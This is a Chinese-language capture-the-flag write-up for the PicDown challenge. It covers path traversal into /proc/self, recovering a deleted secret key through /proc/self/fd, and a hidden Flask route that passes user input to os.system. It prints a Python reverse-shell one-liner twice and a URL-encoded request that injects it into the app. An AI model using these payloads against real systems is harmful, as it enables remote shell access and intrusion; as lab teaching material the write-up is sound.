[网鼎杯 2020 白虎组]PicDown

Posted 2021-06-19 w0s1np

[网鼎杯 2020 白虎组]PicDown

知识点：

../../../../../proc/self/cmdline读取当前进程执行命令

/proc/self/fd/读取进程打开的每一个文件的链接

使用python反弹shell：

python -c "import os,socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\'ip\',7777));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call([\'/bin/bash\',\'-i\']);"

解题：

进去一个目录穿越读文件，

然后我直接就把flag读了，^_，还是看预期解吧

读取当前进程执行命令

读取app.py：

from flask import Flask, Response
from flask import render_template
from flask import request
import os
import urllib

app = Flask(__name__)

SECRET_FILE = "/tmp/secret.txt"
f = open(SECRET_FILE)
SECRET_KEY = f.read().strip()
os.remove(SECRET_FILE)


@app.route(\'/\')
def index():
    return render_template(\'search.html\')


@app.route(\'/page\')
def page():
    url = request.args.get("url")
    try:
        if not url.lower().startswith("file"):
            res = urllib.urlopen(url)
            value = res.read()
            response = Response(value, mimetype=\'application/octet-stream\')
            response.headers[\'Content-Disposition\'] = \'attachment; filename=beautiful.jpg\'
            return response
        else:
            value = "HACK ERROR!"
    except:
        value = "SOMETHING WRONG!"
    return render_template(\'search.html\', res=value)


@app.route(\'/no_one_know_the_manager\')
def manager():
    key = request.args.get("key")
    print(SECRET_KEY)
    if key == SECRET_KEY:
        shell = request.args.get("shell")
        os.system(shell)
        res = "ok"
    else:
        res = "Wrong Key!"

    return res


if __name__ == \'__main__\':
    app.run(host=\'0.0.0.0\', port=8080)

可以看到no_one_know_the_manager中要匹配SECRET_KEY，然后执行shell，但是SECRET_KEY所在的secret.txt被删掉了

此处可以通过/proc/self/fd/读取，这个目录包含了进程打开的每一个文件的链接：

拿到key的内容，但是shell执行的命令不会返回，这里使用反弹shell的方式，在根目录下读取flag

本地使用python反弹shell

python -c "import os,socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\'ip\',7777));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call([\'/bin/bash\',\'-i\']);"

/no_one_know_the_manager?key=2e3658a3c99be231c2b3b0cc260528c4&shell=python%20-c%20%20%27import%20socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((%22ip%22,7777));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);%20os.dup2(s.fileno(),2);p=subprocess.call([%22/bin/bash%22,%22-i%22]);%27